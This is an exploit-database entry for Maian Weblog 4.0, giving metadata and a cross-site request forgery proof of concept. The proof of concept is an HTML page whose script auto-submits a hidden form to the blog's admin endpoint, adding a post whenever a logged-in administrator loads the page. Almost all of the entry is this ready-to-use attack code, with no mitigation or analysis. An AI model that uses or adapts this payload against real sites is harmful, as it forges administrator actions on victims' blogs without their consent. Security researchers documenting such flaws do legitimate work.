Maian Weblog 4.0 - Cross-Site Request Forgery (Add New Post)
Author: Besim
type: webapps
platform: php
port:
date_added: 2016-10-10
date_updated: 2016-10-13
verified: 0
codes:
tags:
aliases:
screenshot_url:
application_url: http://www.exploit-db.commaian_weblog.zip
# Exploit Title : Maian Weblog 4.0 - Cross-Site Request
Forgery ( Add New Post)
# Author : Besim
# Google Dork : -
# Date : 10/10/2016
# Type : webapps
# Platform : PHP
# Vendor Homepage : http://www.maianweblog.com
# Software link :
http://www.hotscripts.com/listings/jump/download/21864
*########################### CSRF PoC ###############################*
<html>
<!-- CSRF PoC -->
<body>
<form action="http://site_name/mainb/publish/admin/index.php?cmd=add"
method="POST">
<input type="hidden" name="process" value="1" />
<input type="hidden" name="title" value="Murat" />
<input type="hidden" name="comments"
value="Muratttttt <br />" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
*####################################################################*